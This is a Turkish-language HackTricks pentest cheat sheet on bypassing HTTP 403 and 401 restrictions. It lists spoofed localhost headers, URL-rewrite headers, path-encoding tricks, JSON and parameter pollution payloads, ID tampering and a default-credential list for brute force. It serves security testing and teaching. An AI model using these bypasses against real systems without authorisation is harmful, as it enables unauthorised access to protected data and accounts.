403 & 401 Bypasses

HackTricks'i Destekleyin

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

HTTP Fiilleri/Yöntemleri Fuzzing

Dosyaya erişmek için farklı fiiller kullanmayı deneyin: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, Content-Length: 55 ile HEAD için 200 yanıtı, HEAD fiilinin bilgiyi erişebileceği anlamına gelir. Ancak, bu bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekir.

  • X-HTTP-Method-Override: PUT gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.

  • TRACE fiilini kullanın ve çok şanslıysanız, belki yanıtınızda ara proxy'ler tarafından eklenen başlıkları görebilirsiniz, bu da faydalı olabilir.

HTTP Başlıkları Fuzzing

  • Host başlığını rastgele bir değere değiştirin (burada işe yaradı)

  • Kaynağa erişmek için diğer Kullanıcı Ajanlarını kullanmayı deneyin.

  • HTTP Başlıklarını Fuzzing: HTTP Proxy Başlıkları, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bunu yapmak için fuzzhttpbypass aracını oluşturdum.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Eğer yol korunuyorsa, bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Eğer sayfa bir proxy'nin arkasındaysa, belki de proxy, özel bilgilere erişmenizi engelliyordur. HTTP İstek Kaçırma veya hop-by-hop başlıkları** istismar etmeyi deneyin.**

  • Farklı yanıtlar aramak için özel HTTP başlıklarını fuzzing yapın.

  • HTTP Yöntemlerini fuzzing yaparken özel HTTP başlıklarını fuzzing yapın.

  • Host başlığını kaldırın ve belki de korumayı aşabileceksiniz.

Yol Fuzzing

Eğer /path engellenmişse:

  • /%2e/path _kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca_** /%252e**/path (çift URL kodlaması) deneyin.

  • Unicode bypass deneyin: /%ef%bc%8fpath (URL kodlu karakterler "/" gibidir) bu nedenle geri kodlandığında //path olacak ve belki de /path adı kontrolünü aşmış olacaksınız.

  • Diğer yol bypass'leri:

  • site.com/secret –> HTTP 403 Yasak

  • site.com/SECRET –> HTTP 200 Tamam

  • site.com/secret/ –> HTTP 200 Tamam

  • site.com/secret/. –> HTTP 200 Tamam

  • site.com//secret// –> HTTP 200 Tamam

  • site.com/./secret/.. –> HTTP 200 Tamam

  • site.com/;/secret –> HTTP 200 Tamam

  • site.com/.;/secret –> HTTP 200 Tamam

  • site.com//;//secret –> HTTP 200 Tamam

  • site.com/secret.json –> HTTP 200 Tamam (ruby)

  • Aşağıdaki durumlarda bu listeyi kullanın:

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • Diğer API bypass'leri:

  • /v3/users_data/1234 --> 403 Yasak

  • /v1/users_data/1234 --> 200 Tamam

  • {“id”:111} --> 401 Yetkisiz

  • {“id”:[111]} --> 200 Tamam

  • {“id”:111} --> 401 Yetkisiz

  • {“id”:{“id”:111}} --> 200 Tamam

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parametre Kirliliği)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parametre Kirliliği)

Parametre Manipülasyonu

  • param değerini değiştirin: id=123 --> id=124

  • URL'ye ek parametreler ekleyin: ?id=124 —-> id=124&isAdmin=true

  • Parametreleri kaldırın

  • Parametrelerin sırasını değiştirin

  • Özel karakterler kullanın.

  • Parametrelerde sınır testi yapın — -234 veya 0 veya 99999999 gibi değerler sağlayın (sadece bazı örnek değerler).

Protokol versiyonu

HTTP/1.1 kullanıyorsanız 1.0 kullanmayı deneyin veya 2.0'ı destekleyip desteklemediğini test edin.

Diğer Bypass'ler

  • Alan adının IP veya CNAME'sini alın ve doğrudan iletişim kurmayı deneyin.

  • Sunucuyu zorlayın yaygın GET istekleri göndererek (Bu adam için Facebook'ta işe yaradı).

  • Protokolü değiştirin: http'den https'ye veya https'den http'ye

  • https://archive.org/web/ adresine gidin ve geçmişte o dosyanın dünya çapında erişilebilir olup olmadığını kontrol edin.

Brute Force

  • Şifreyi tahmin edin: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adını mı?

  • Brute force: Temel, digest ve NTLM kimlik doğrulamasını deneyin.

Yaygın kimlik bilgileri
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Otomatik Araçlar

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

HackTricks'i Destekleyin

Last updated